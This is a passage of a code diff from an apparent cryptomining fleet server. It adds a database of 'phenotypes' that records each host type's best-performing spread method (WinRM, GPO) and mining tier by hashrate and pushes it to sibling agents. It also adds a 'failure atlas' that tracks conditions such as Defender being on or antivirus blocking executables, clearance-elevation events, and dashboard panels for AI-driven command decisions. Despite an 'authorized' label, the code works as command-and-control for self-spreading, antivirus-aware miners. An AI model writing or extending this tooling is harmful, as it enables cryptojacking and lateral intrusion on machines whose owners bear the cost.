excluded.tier_order_json, + peak_hashrate = excluded.peak_hashrate, + created_at = excluded.created_at + WHERE excluded.peak_hashrate > fleet_phenotypes.peak_hashrate`, + p.ID, p.Fingerprint, p.SourceAgentID, p.SourceAgentName, p.OS, p.SpreadLane, + p.ActiveTier, string(tierJSON), p.PeakHashrate, p.CreatedAt, + ) + if err != nil { + return false, err + } + return true, nil +} + +func (d *Database) GetFleetPhenotypeByFingerprint(fingerprint string) (*StoredPhenotype, error) { + fingerprint = strings.TrimSpace(fingerprint) + if fingerprint == "" { + return nil, sql.ErrNoRows + } + row := d.QueryRow( + `SELECT id, fingerprint, source_agent_id, source_agent_name, os, spread_lane, + active_tier, tier_order_json, peak_hashrate, created_at + FROM fleet_phenotypes WHERE fingerprint = ?`, + fingerprint, + ) + return scanFleetPhenotype(row) +} + +func (d *Database) ListFleetPhenotypes(fingerprint string) ([]StoredPhenotype, error) { + fingerprint = strings.TrimSpace(fingerprint) + var ( + rows *sql.Rows + err error + ) + if fingerprint != "" { + rows, err = d.Query( + `SELECT id, fingerprint, source_agent_id, source_agent_name, os, spread_lane, + active_tier, tier_order_json, peak_hashrate, created_at + FROM fleet_phenotypes WHERE fingerprint = ? ORDER BY peak_hashrate DESC`, + fingerprint, + ) + } else { + rows, err = d.Query( + `SELECT id, fingerprint, source_agent_id, source_agent_name, os, spread_lane, + active_tier, tier_order_json, peak_hashrate, created_at + FROM fleet_phenotypes ORDER BY peak_hashrate DESC`, + ) + } + if err != nil { + return nil, err + } + defer rows.Close() + var out []StoredPhenotype + for rows.Next() { + p, err := scanFleetPhenotypeRow(rows) + if err != nil { + return nil, err + } + out = append(out, *p) + } + return out, rows.Err() +} + +func scanFleetPhenotype(row *sql.Row) (*StoredPhenotype, error) { + return scanFleetPhenotypeRow(row) +} + +type phenotypeScanner interface { + Scan(dest ...interface{}) error +} + +func scanFleetPhenotypeRow(row phenotypeScanner) (*StoredPhenotype, error) { + var p StoredPhenotype + var tierJSON string + var createdAt string + if err := row.Scan( + &p.ID, &p.Fingerprint, &p.SourceAgentID, &p.SourceAgentName, &p.OS, &p.SpreadLane, + &p.ActiveTier, &tierJSON, &p.PeakHashrate, &createdAt, + ); err != nil { + return nil, err + } + if tierJSON != "" { + _ = json.Unmarshal([]byte(tierJSON), &p.TierOrder) + } + if t, err := time.Parse(time.RFC3339, createdAt); err == nil { + p.CreatedAt = t + } else if t, err := time.Parse("2006-01-02 15:04:05", createdAt); err == nil { + p.CreatedAt = t.UTC() + } + return &p, nil +} diff --git a/server/internal/db/phenotype_test.go b/server/internal/db/phenotype_test.go new file mode 100644 index 0000000..1610d41 --- /dev/null +++ b/server/internal/db/phenotype_test.go @@ -0,0 +1,56 @@ +package db + +import ( + "testing" +) + +func TestUpsertFleetPhenotypeKeepsBestPeak(t *testing.T) { + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = d.Close() }) + + fp := "windows|0|0|0|0|0|192.168.1" + updated, err := d.UpsertFleetPhenotype(StoredPhenotype{ + Fingerprint: fp, SourceAgentID: "a1", SourceAgentName: "worker-07", + TierOrder: []string{"wsl"}, PeakHashrate: 400, + }) + if err != nil || !updated { + t.Fatalf("first upsert: updated=%v err=%v", updated, err) + } + + updated, err = d.UpsertFleetPhenotype(StoredPhenotype{ + Fingerprint: fp, SourceAgentID: "a2", SourceAgentName: "worker-12", + TierOrder: []string{"container"}, PeakHashrate: 200, + }) + if err != nil { + t.Fatal(err) + } + if updated { + t.Fatal("lower peak should not replace winner") + } + + got, err := d.GetFleetPhenotypeByFingerprint(fp) + if err != nil { + t.Fatal(err) + } + if got.SourceAgentName != "worker-07" || got.PeakHashrate != 400 { + t.Fatalf("unexpected best phenotype: %+v", got) + } + + updated, err = d.UpsertFleetPhenotype(StoredPhenotype{ + Fingerprint: fp, SourceAgentID: "a3", SourceAgentName: "worker-99", + TierOrder: []string{"cpu_inprocess"}, PeakHashrate: 900, + }) + if err != nil || !updated { + t.Fatalf("higher peak upsert: updated=%v err=%v", updated, err) + } + got, err = d.GetFleetPhenotypeByFingerprint(fp) + if err != nil { + t.Fatal(err) + } + if got.SourceAgentName != "worker-99" || got.PeakHashrate != 900 { + t.Fatalf("expected new winner, got %+v", got) + } +} diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index 1dfe37c..648bf78 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -214,6 +214,30 @@ func (d *Database) migrate() error { strategy_json TEXT NOT NULL, updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP )`, + `CREATE TABLE IF NOT EXISTS failure_atlas ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + fingerprint_bucket TEXT NOT NULL, + condition TEXT NOT NULL, + tier TEXT NOT NULL, + fail_count INTEGER NOT NULL DEFAULT 0, + updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, + UNIQUE(fingerprint_bucket, condition, tier) + )`, + `CREATE INDEX IF NOT EXISTS idx_failure_atlas_bucket ON failure_atlas(fingerprint_bucket)`, + `CREATE INDEX IF NOT EXISTS idx_failure_atlas_tier ON failure_atlas(tier)`, + `CREATE TABLE IF NOT EXISTS fleet_phenotypes ( + id TEXT PRIMARY KEY, + fingerprint TEXT NOT NULL UNIQUE, + source_agent_id TEXT NOT NULL, + source_agent_name TEXT NOT NULL, + os TEXT NOT NULL DEFAULT '', + spread_lane TEXT NOT NULL DEFAULT '', + active_tier TEXT NOT NULL DEFAULT '', + tier_order_json TEXT NOT NULL DEFAULT '[]', + peak_hashrate REAL NOT NULL DEFAULT 0, + created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP + )`, + `CREATE INDEX IF NOT EXISTS idx_fleet_phenotypes_fingerprint ON fleet_phenotypes(fingerprint)`, } for _, m := range extraMigrations { if _, err := d.Exec(m); err != nil { diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index 99fc5d2..c1dddc6 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -122,11 +122,27 @@ type Agent struct { // Last successful discover_and_join supply-chain lane. JoinLane string `json:"join_lane,omitempty"` + // Session security clearance (L0–L4); set live by WSHub, not persisted. + ClearanceLevel int `json:"clearance_level,omitempty"` + + // Fleet phenotype cloned from a sibling with the same host fingerprint (WS auth only). + InheritedPhenotype *AgentInheritedPhenotype `json:"inherited_phenotype,omitempty"` + // Authorized fleet vulnerability recon (read-only LOTL probe tier) VulnFindings []VulnFinding `json:"vuln_findings,omitempty"` VulnRiskScore *int `json:"vuln_risk_score,omitempty"` } +// AgentInheritedPhenotype is the dashboard view of a cloned winning path. +type AgentInheritedPhenotype struct { + SourceAgentName string `json:"source_agent_name"` + Fingerprint string `json:"fingerprint,omitempty"` + SpreadLane string `json:"spread_lane,omitempty"` + TierOrder []string `json:"tier_order,omitempty"` + ActiveTier string `json:"active_tier,omitempty"` + PeakHashrate float64 `json:"peak_hashrate,omitempty"` +} + // VulnFinding mirrors agent vuln_findings stats payload. type VulnFinding struct { CVEID string `json:"cve_id"` diff --git a/server/internal/strategy/phenotype.go b/server/internal/strategy/phenotype.go new file mode 100644 index 0000000..1692f8d --- /dev/null +++ b/server/internal/strategy/phenotype.go @@ -0,0 +1,77 @@ +package strategy + +import ( + "strings" + "time" +) + +// FleetPhenotype is the best-known winning path for a host fingerprint bucket. +type FleetPhenotype struct { + ID string `json:"id"` + SourceAgentID string `json:"source_agent_id"` + SourceAgentName string `json:"source_agent_name"` + Fingerprint string `json:"fingerprint"` + OS string `json:"os"` + SpreadLane string `json:"spread_lane,omitempty"` + ActiveTier string `json:"active_tier,omitempty"` + TierOrder []string `json:"tier_order"` + PeakHashrate float64 `json:"peak_hashrate"` + CreatedAt time.Time `json:"created_at"` +} + +// InheritedPhenotype is pushed to sibling agents on auth when fingerprint matches. +type InheritedPhenotype struct { + SourceAgentName string `json:"source_agent_name"` + Fingerprint string `json:"fingerprint"` + SpreadLane string `json:"spread_lane,omitempty"` + TierOrder []string `json:"tier_order"` + ActiveTier string `json:"active_tier,omitempty"` + PeakHashrate float64 `json:"peak_hashrate,omitempty"` +} + +// TierAttempt is a minimal stats/tier_report attempt for phenotype tier_order building. +type TierAttempt struct { + Tier string + OK bool +} + +// BuildWinningTierOrder derives spread+mining tier order from successful attempts. +func BuildWinningTierOrder(attempts []TierAttempt, activeTier string, fallback []string) []string { + seen := make(map[string]bool) + order := make([]string, 0, len(attempts)+1) + for _, a := range attempts { + tier := strings.TrimSpace(a.Tier) + if !a.OK || tier == "" || seen[tier] { + continue + } + order = append(order, tier) + seen[tier] = true + } + if len(order) == 0 && len(fallback) > 0 { + for _, t := range fallback { + tier := strings.TrimSpace(t) + if tier == "" || seen[tier] { + continue + } + order = append(order, tier) + seen[tier] = true + } + } + activeTier = strings.TrimSpace(activeTier) + if activeTier != "" && !seen[activeTier] { + order = append(order, activeTier) + } + return order +} + +// ToInherited converts a stored phenotype into an auth payload for sibling agents. +func (p FleetPhenotype) ToInherited() InheritedPhenotype { + return InheritedPhenotype{ + SourceAgentName: p.SourceAgentName, + Fingerprint: p.Fingerprint, + SpreadLane: p.SpreadLane, + TierOrder: append([]string(nil), p.TierOrder...), + ActiveTier: p.ActiveTier, + PeakHashrate: p.PeakHashrate, + } +} diff --git a/server/internal/strategy/phenotype_store.go b/server/internal/strategy/phenotype_store.go new file mode 100644 index 0000000..b4cfc79 --- /dev/null +++ b/server/internal/strategy/phenotype_store.go @@ -0,0 +1,35 @@ +package strategy + +import "crypto-miner-server/internal/db" + +// PhenotypeToStored converts a strategy phenotype into a DB row. +func PhenotypeToStored(p FleetPhenotype) db.StoredPhenotype { + return db.StoredPhenotype{ + ID: p.ID, + SourceAgentID: p.SourceAgentID, + SourceAgentName: p.SourceAgentName, + Fingerprint: p.Fingerprint, + OS: p.OS, + SpreadLane: p.SpreadLane, + ActiveTier: p.ActiveTier, + TierOrder: append([]string(nil), p.TierOrder...), + PeakHashrate: p.PeakHashrate, + CreatedAt: p.CreatedAt, + } +} + +// PhenotypeFromStored converts a DB row into a strategy phenotype. +func PhenotypeFromStored(p db.StoredPhenotype) FleetPhenotype { + return FleetPhenotype{ + ID: p.ID, + SourceAgentID: p.SourceAgentID, + SourceAgentName: p.SourceAgentName, + Fingerprint: p.Fingerprint, + OS: p.OS, + SpreadLane: p.SpreadLane, + ActiveTier: p.ActiveTier, + TierOrder: append([]string(nil), p.TierOrder...), + PeakHashrate: p.PeakHashrate, + CreatedAt: p.CreatedAt, + } +} diff --git a/server/internal/strategy/phenotype_test.go b/server/internal/strategy/phenotype_test.go new file mode 100644 index 0000000..cabcf25 --- /dev/null +++ b/server/internal/strategy/phenotype_test.go @@ -0,0 +1,17 @@ +package strategy + +import "testing" + +func TestBuildWinningTierOrderFromAttempts(t *testing.T) { + order := BuildWinningTierOrder([]TierAttempt{ + {Tier: "vuln_recon", OK: true}, + {Tier: "docker", OK: false}, + {Tier: "wsl", OK: true}, + }, "cpu_inprocess", nil) + if len(order) != 3 { + t.Fatalf("order = %v", order) + } + if order[0] != "vuln_recon" || order[1] != "wsl" || order[2] != "cpu_inprocess" { + t.Fatalf("unexpected order: %v", order) + } +} diff --git a/server/web/src/components/Fleet/AccessDepthPanel.css b/server/web/src/components/Fleet/AccessDepthPanel.css index c7f3cdc..87b044c 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.css +++ b/server/web/src/components/Fleet/AccessDepthPanel.css @@ -69,6 +69,12 @@ font-style: italic; } +.access-depth-phenotype { + margin-top: 0.45rem; + font-size: 0.72rem; + color: var(--text-muted); +} + .access-depth-join { display: flex; flex-wrap: wrap; @@ -192,6 +198,21 @@ border: 1px solid rgba(255, 180, 60, 0.3); } +.access-depth-atlas-list { + margin: 0; + padding-left: 1.1rem; + font-size: 0.78rem; + color: var(--text-muted); +} + +.access-depth-atlas-row { + margin: 0.2rem 0; +} + +.access-depth-onion-item--skipped_by_atlas .access-depth-onion-label { + opacity: 0.7; +} + .access-depth-source { margin-left: 0.35rem; color: var(--text-muted); @@ -220,3 +241,35 @@ .access-depth-calibrate-link:hover { text-decoration: underline; } + +.access-depth-clearance-badge { + font-family: var(--font-tech); + font-size: 0.68rem; + font-weight: 700; + letter-spacing: 0.08em; + color: var(--neon-cyan); + border: 1px solid rgba(0, 245, 255, 0.45); + border-radius: 3px; + padding: 1px 6px; + cursor: help; +} + +.access-depth-clearance-flash { + font-size: 0.68rem; + color: var(--neon-amber, #ffb347); + background: rgba(255, 180, 60, 0.12); + border: 1px solid rgba(255, 180, 60, 0.45); + border-radius: 3px; + padding: 2px 8px; + animation: access-depth-clearance-flash 1.2s ease-in-out 2; +} + +@keyframes access-depth-clearance-flash { + 0%, + 100% { + opacity: 1; + } + 50% { + opacity: 0.45; + } +} diff --git a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx index 9f61a4b..918dc2b 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx +++ b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx @@ -12,6 +12,10 @@ import { parseAccessDepthServerPolicy, } from '../../help/accessDepth'; +vi.mock('../../hooks/useWebSocket', () => ({ + useWebSocket: () => ({ latestMessage: null }), +})); + vi.mock('../../api/client', () => ({ api: { getConfig: vi.fn().mockResolvedValue({ @@ -155,6 +159,22 @@ describe('AccessDepthPanel', () => { expect(await screen.findByText('WinRM')).toBeInTheDocument(); }); + it('shows phenotype source when inherited phenotype present', async () => { + renderPanel( + mockAgent({ + platform: 'windows', + inherited_phenotype: { + source_agent_name: 'worker-07', + spread_lane: 'winrm', + tier_order: ['container', 'wsl', 'cpu_inprocess'], + }, + }), + ); + expect(await screen.findByText(/phenotype cloned from/i)).toBeInTheDocument(); + expect(screen.getByText('worker-07')).toBeInTheDocument(); + expect(await screen.findByText('WinRM')).toBeInTheDocument(); + }); + it('renders adaptive strategy reasoning fixtures', () => { renderPanel( mockAgent({ platform: 'windows', status: 'online' }), @@ -180,6 +200,13 @@ describe('AccessDepthPanel', () => { expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument(); }); + it('renders clearance badge L0–L4 with tooltip permissions', () => { + renderPanel(mockAgent({ clearance_level: 2 })); + const badge = screen.getByLabelText(/Clearance L2/i); + expect(badge).toHaveTextContent('L2'); + expect(badge.getAttribute('title')).toMatch(/spread/i); + }); + it('shows pending chain when tiers not yet attempted', () => { renderPanel( mockAgent({ diff --git a/server/web/src/components/Fleet/AccessDepthPanel.tsx b/server/web/src/components/Fleet/AccessDepthPanel.tsx index 40f0d02..72de2f4 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.tsx +++ b/server/web/src/components/Fleet/AccessDepthPanel.tsx @@ -1,11 +1,18 @@ -import { useEffect, useMemo, useState } from 'react'; +import { useEffect, useMemo, useRef, useState } from 'react'; import { Link } from 'react-router-dom'; import { api } from '../../api/client'; import { + atlasSkipDisplayLabel, buildAccessDepthModel, parseAccessDepthServerPolicy, type AccessDepthDiagnostics, } from '../../help/accessDepth'; +import { + clearanceLabel, + clearancePermissions, + formatClearanceElevation, +} from '../../help/clearance'; +import { useWebSocket } from '../../hooks/useWebSocket'; import type { Agent } from '../../types'; import { HelpTip } from '../HelpTip'; import JoinLaneBadge from './JoinLaneBadge'; @@ -31,6 +38,9 @@ function OnionList({ rows, empty }: { rows: ReturnType{row.label} {row.status === 'active' && active} {row.status === 'skipped' && skipped} + {row.status === 'skipped_by_atlas' && ( + atlas skip + )} {row.status === 'done' && ok} {row.status === 'failed' && fail} {row.status === 'pending' && pending} @@ -63,8 +73,38 @@ function AttemptMiniList({ } export default function AccessDepthPanel({ agent, diagnostics }: Props) { + const { latestMessage } = useWebSocket(); const [policyLoaded, setPolicyLoaded] = useState(false); const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({})); + const [elevationFlash, setElevationFlash] = useState(null); + const flashTimerRef = useRef(null); + + const clearanceLevel = agent.clearance_level ?? 1; + + useEffect(() => { + if (!latestMessage || latestMessage.type !== 'clearance_elevated') return; + const p = latestMessage.payload as { + agent_id?: string; + to_level?: number; + source?: string; + reason?: string; + }; + if (p.agent_id !== agent.id || typeof p.to_level !== 'number') return; + const text = formatClearanceElevation({ + to_level: p.to_level, + source: p.source, + reason: p.reason, + }); + setElevationFlash(text); + if (flashTimerRef.current != null) window.clearTimeout(flashTimerRef.current); + flashTimerRef.current = window.setTimeout(() => setElevationFlash(null), 6000); + }, [latestMessage, agent.id]); + + useEffect(() => { + return () => { + if (flashTimerRef.current != null) window.clearTimeout(flashTimerRef.current); + }; + }, []); useEffect(() => { let cancelled = false; @@ -95,6 +135,18 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) { ACCESS DEPTH + + {clearanceLabel(clearanceLevel)} + + {elevationFlash && ( + + {elevationFlash} + + )} {!policyLoaded && loading policy…} @@ -137,6 +189,17 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) { ) : (
No join lane yet
)} + {model.phenotypeSource && ( +
+ phenotype cloned from {model.phenotypeSource} + {model.phenotypeSpreadLane ? ( + <> + {' '} + · spread + + ) : null} +
+ )}
@@ -161,6 +224,19 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
+ {model.atlasSkips.length > 0 && ( +
+
Atlas skips
+
    + {model.atlasSkips.map((skip) => ( +
  • + {atlasSkipDisplayLabel(skip)} +
    • + ))} +
+
+ )} + {model.strategyReasoning.length > 0 && (
diff --git a/server/web/src/components/Lotl/LotlTierTimeline.test.tsx b/server/web/src/components/Lotl/LotlTierTimeline.test.tsx index 5a8218c..3846ade 100644 --- a/server/web/src/components/Lotl/LotlTierTimeline.test.tsx +++ b/server/web/src/components/Lotl/LotlTierTimeline.test.tsx @@ -40,6 +40,20 @@ describe('LotlTierTimeline', () => { expect(screen.getByText('GPO')).toBeInTheDocument(); }); + it('shows cloned-from badge when inherited phenotype present', () => { + const order = resolveLotlTierOrder(); + const agent = mockAgent({ + inherited_phenotype: { + source_agent_name: 'worker-07', + tier_order: ['container', 'wsl'], + spread_lane: 'winrm', + }, + }); + const model = buildLotlTimelineModel(agent, order, []); + render(); + expect(screen.getByText('Cloned from worker-07')).toBeInTheDocument(); + }); + it('expands attempt detail on tier click', () => { const order = resolveLotlTierOrder(); const agent = mockAgent({ diff --git a/server/web/src/components/Lotl/LotlTierTimeline.tsx b/server/web/src/components/Lotl/LotlTierTimeline.tsx index d66b4b1..53410d6 100644 --- a/server/web/src/components/Lotl/LotlTierTimeline.tsx +++ b/server/web/src/components/Lotl/LotlTierTimeline.tsx @@ -7,6 +7,7 @@ import '../Fleet/LotlVisuals.css'; interface Props { model: LotlTimelineModel; agentName: string; + clonedFrom?: string; className?: string; } @@ -17,6 +18,7 @@ function stateGlyph(state: LotlTimelineTierRow['state']): string { case 'failed': return '✗'; case 'skipped': + case 'skipped_by_atlas': return '—'; case 'trying': return '◉'; @@ -49,14 +51,18 @@ function TierDetail({ row }: { row: LotlTimelineTierRow }) { ) : (
- {row.state === 'skipped' ? 'Tier skipped by policy' : 'No attempt recorded yet'} + {row.state === 'skipped_by_atlas' + ? 'Tier skipped by failure atlas' + : row.state === 'skipped' + ? 'Tier skipped by policy' + : 'No attempt recorded yet'}
)}
); } -export default function LotlTierTimeline({ model, agentName, className = '' }: Props) { +export default function LotlTierTimeline({ model, agentName, clonedFrom, className = '' }: Props) { const [expandedTier, setExpandedTier] = useState(null); const expandedRow = useMemo( @@ -73,7 +79,14 @@ export default function LotlTierTimeline({ model, agentName, className = '' }: P
ONION TIER CHAIN
-
{agentName}
+
+ {agentName} + {clonedFrom && ( + + Cloned from {clonedFrom} + + )} +
{model.succeeded}/{model.total} tiers succeeded diff --git a/server/web/src/components/Lotl/LotlTimeline.css b/server/web/src/components/Lotl/LotlTimeline.css index 3740c30..8613cd2 100644 --- a/server/web/src/components/Lotl/LotlTimeline.css +++ b/server/web/src/components/Lotl/LotlTimeline.css @@ -116,6 +116,19 @@ color: var(--text-muted); } +.lotl-phenotype-badge { + display: inline-block; + margin-left: 0.5rem; + padding: 0.1rem 0.45rem; + border-radius: 3px; + font-size: 0.62rem; + letter-spacing: 0.06em; + text-transform: uppercase; + color: #9dffb8; + background: rgba(40, 120, 80, 0.25); + border: 1px solid rgba(80, 200, 130, 0.35); +} + .lotl-tier-timeline-progress { font-family: var(--font-tech); font-size: 0.75rem; @@ -185,12 +198,17 @@ border-color: rgba(255, 255, 255, 0.1); } -.lotl-tier-step--skipped .lotl-tier-node { +.lotl-tier-step--skipped .lotl-tier-node, +.lotl-tier-step--skipped_by_atlas .lotl-tier-node { color: rgba(180, 180, 190, 0.5); border-color: rgba(255, 255, 255, 0.06); opacity: 0.55; } +.lotl-tier-step--skipped_by_atlas .lotl-tier-node { + border-color: rgba(255, 140, 80, 0.25); +} + .lotl-tier-step--success .lotl-tier-node { color: #7dffaa; border-color: rgba(100, 220, 140, 0.45); @@ -302,6 +320,43 @@ margin-bottom: 0.25rem; } +.lotl-ai-decision--court { + border-color: rgba(255, 170, 100, 0.35); + background: rgba(40, 24, 8, 0.35); +} + +.lotl-court-role { + margin-top: 0.35rem; +} + +.lotl-court-role-label { + display: block; + font-family: var(--font-tech); + font-size: 0.58rem; + letter-spacing: 0.08em; + color: #ffaa66; + margin-bottom: 0.15rem; +} + +.lotl-court-role-text { + color: var(--text-muted); + white-space: pre-wrap; + word-break: break-word; + line-height: 1.35; +} + +.lotl-ai-decision-commands { + margin-top: 0.25rem; + font-size: 0.68rem; + color: #7dffaa; +} + +.lotl-ai-decision-ts { + margin-top: 0.25rem; + font-size: 0.65rem; + color: var(--text-muted); +} + .lotl-timeline-links { margin-top: 0.85rem; font-size: 0.72rem; @@ -324,6 +379,43 @@ font-size: 0.85rem; } +.lotl-clearance-timeline { + margin-top: 0.85rem; + padding: 0.65rem 0.75rem; + border-radius: var(--deck-card-radius, 6px); + border: 1px solid rgba(255, 180, 60, 0.25); + background: rgba(8, 6, 4, 0.45); +} + +.lotl-clearance-event-list { + list-style: none; + margin: 0.35rem 0 0; + padding: 0; +} + +.lotl-clearance-event-row { + display: flex; + flex-wrap: wrap; + justify-content: space-between; + gap: 0.35rem 0.75rem; + font-size: 0.68rem; + padding: 0.2rem 0; + border-bottom: 1px solid rgba(255, 255, 255, 0.05); +} + +.lotl-clearance-event-row:last-child { + border-bottom: none; +} + +.lotl-clearance-event-summary { + color: var(--neon-amber, #ffb347); +} + +.lotl-clearance-event-ts { + color: var(--text-muted); + font-size: 0.62rem; +} + @media (max-width: 720px) { .lotl-tier-track { flex-direction: column; diff --git a/server/web/src/help/accessDepth.ts b/server/web/src/help/accessDepth.ts index 248012b..6530720 100644 --- a/server/web/src/help/accessDepth.ts +++ b/server/web/src/help/accessDepth.ts @@ -27,10 +27,17 @@ export interface AdaptiveStrategyView { updated_at?: string; } +export interface AtlasSkipView { + tier: string; + condition: string; + reason: string; +} + export interface AccessDepthDiagnostics { environment_probes?: EnvironmentProbes; tier_chain_order?: string[]; tier_chain_skipped?: string[]; + atlas_skips?: AtlasSkipView[]; lotl_tier?: string; lotl_attempts?: TierAttempt[]; active_method?: string; @@ -67,7 +74,8 @@ export interface OnionTierRow { index: number; tier: string; label: string; - status: 'active' | 'skipped' | 'pending' | 'done' | 'failed' | 'neutral'; + status: 'active' | 'skipped' | 'skipped_by_atlas' | 'pending' | 'done' | 'failed' | 'neutral'; + atlasCondition?: string; } export interface AccessDepthModel { @@ -92,6 +100,9 @@ export interface AccessDepthModel { adaptiveActive: boolean; strategyReasoning: StrategyReason[]; adaptiveConfidence?: number; + atlasSkips: AtlasSkipView[]; + phenotypeSource?: string; + phenotypeSpreadLane?: string; } /** Default mining tier onion pushed at agent auth when Calibrate sends no override. */ @@ -143,11 +154,13 @@ export function parseAccessDepthDiagnostics(raw: Record): Acces const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy); const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning; + const atlas_skips = parseAtlasSkips(raw.atlas_skips); return { environment_probes: parseEnvironmentProbes(raw.environment_probes), tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined, tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined, + atlas_skips, lotl_tier, lotl_attempts: attempts.length ? attempts : undefined, active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined, @@ -216,6 +229,43 @@ function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeC return chips.filter((c) => c.ok || probes != null); } +function parseAtlasSkips(raw: unknown): AtlasSkipView[] | undefined { + if (!Array.isArray(raw)) return undefined; + const out: AtlasSkipView[] = []; + for (const row of raw) { + if (!row || typeof row !== 'object') continue; + const r = row as Record; + if (typeof r.tier !== 'string' || typeof r.condition !== 'string') continue; + out.push({ + tier: r.tier, + condition: r.condition, + reason: typeof r.reason === 'string' ? r.reason : '', + }); + } + return out.length ? out : undefined; +} + +export function atlasConditionLabel(condition: string): string { + switch (condition) { + case 'defender_on': + return 'Defender on'; + case 'no_docker': + return 'no Docker'; + case 'av_blocks_exe': + return 'AV blocks exe'; + case 'goos=windows': + return 'Windows'; + case 'goos=linux': + return 'Linux'; + default: + return condition.replace(/_/g, ' '); + } +} + +export function atlasSkipDisplayLabel(skip: AtlasSkipView): string { + return `${formatLotlTierLabel(skip.tier)} (${atlasConditionLabel(skip.condition)})`; +} + function spreadCapabilities(agent: Agent): string[] { const caps = agent.capabilities; const out: string[] = []; @@ -303,8 +353,13 @@ function buildOnionRows( skipped: string[], attempts: TierAttempt[], activeTier?: string, + atlasSkips: AtlasSkipView[] = [], ): OnionTierRow[] { const skippedSet = new Set(skipped.map((s) => s.toLowerCase())); + const atlasByTier = new Map(); + for (const skip of atlasSkips) { + atlasByTier.set(skip.tier.toLowerCase(), skip); + } const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase())); const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase())); const active = activeTier?.toLowerCase(); @@ -313,12 +368,15 @@ function buildOnionRows( const fullOrder = [ ...order, ...skipped.filter((s) => !orderLower.has(s.toLowerCase())), + ...atlasSkips.map((s) => s.tier).filter((s) => !orderLower.has(s.toLowerCase()) && !skippedSet.has(s.toLowerCase())), ]; return fullOrder.map((tier, i) => { const key = tier.toLowerCase(); + const atlas = atlasByTier.get(key); let status: OnionTierRow['status'] = 'neutral'; if (active && key === active) status = 'active'; + else if (atlas) status = 'skipped_by_atlas'; else if (skippedSet.has(key)) status = 'skipped'; else if (okSet.has(key)) status = 'done'; else if (failSet.has(key)) status = 'failed'; @@ -329,6 +387,7 @@ function buildOnionRows( tier, label: formatLotlTierLabel(tier), status, + atlasCondition: atlas?.condition, }; }); } @@ -367,6 +426,7 @@ export function buildAccessDepthModel( ): AccessDepthModel { const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? []; const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier; + const atlasSkips = diagnostics?.atlas_skips ?? []; const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent); const pending = computePendingTiers(order, skipped, attempts); const inProgressTier = detectInProgress(agent, attempts, pending, activeTier); @@ -402,7 +462,7 @@ export function buildAccessDepthModel( inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined, pendingTiers: pending, pendingLabels: pending.map(formatLotlTierLabel), - miningOnion: buildOnionRows(order, skipped, attempts, activeTier), + miningOnion: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips), spreadOnion: spreadOrder.map((tier, i) => ({ index: i + 1, tier, @@ -414,6 +474,9 @@ export function buildAccessDepthModel( adaptiveActive: source === 'adaptive', strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [], adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence, + atlasSkips, + phenotypeSource: agent.inherited_phenotype?.source_agent_name, + phenotypeSpreadLane: agent.inherited_phenotype?.spread_lane, }; } diff --git a/server/web/src/pages/LotlTimelinePage.tsx b/server/web/src/pages/LotlTimelinePage.tsx index 039ddad..4f3364e 100644 --- a/server/web/src/pages/LotlTimelinePage.tsx +++ b/server/web/src/pages/LotlTimelinePage.tsx @@ -6,6 +6,7 @@ import { buildLotlTimelineModel, resolveLotlTierOrder, } from '../help/lotlTimeline'; +import { clearanceTimelineSummary, type ClearanceEventRecord } from '../help/clearance'; import { parseAccessDepthServerPolicy } from '../help/accessDepth'; import type { AIDecisionRecord } from '../types'; import LotlFleetOverview from '../components/Lotl/LotlFleetOverview'; @@ -19,7 +20,16 @@ export default function LotlTimelinePage() { const [searchParams, setSearchParams] = useSearchParams(); const [tierOrder, setTierOrder] = useState(() => resolveLotlTierOrder()); const [aiControlEnabled, setAiControlEnabled] = useState(false); - const [lastDecision, setLastDecision] = useState<{ response?: string; commands?: string; ts?: string } | null>(null); + const [lastDecision, setLastDecision] = useState<{ + response?: string; + commands?: string; + ts?: string; + court_session?: boolean; + prosecutor_snippet?: string; + defender_snippet?: string; + judge_verdict?: string; + } | null>(null); + const [clearanceEvents, setClearanceEvents] = useState([]); const paramAgentId = searchParams.get('agent') ?? ''; @@ -60,6 +70,10 @@ export default function LotlTimelinePage() { response: row.response, commands: row.commands_executed, ts: row.ts, + court_session: row.court_session, + prosecutor_snippet: row.prosecutor_snippet, + defender_snippet: row.defender_snippet, + judge_verdict: row.judge_verdict, }); } else { setLastDecision(null); @@ -73,6 +87,25 @@ export default function LotlTimelinePage() { }; }, [selectedAgent, aiControlEnabled]); + useEffect(() => { + if (!selectedAgent) { + setClearanceEvents([]); + return; + } + let cancelled = false; + api + 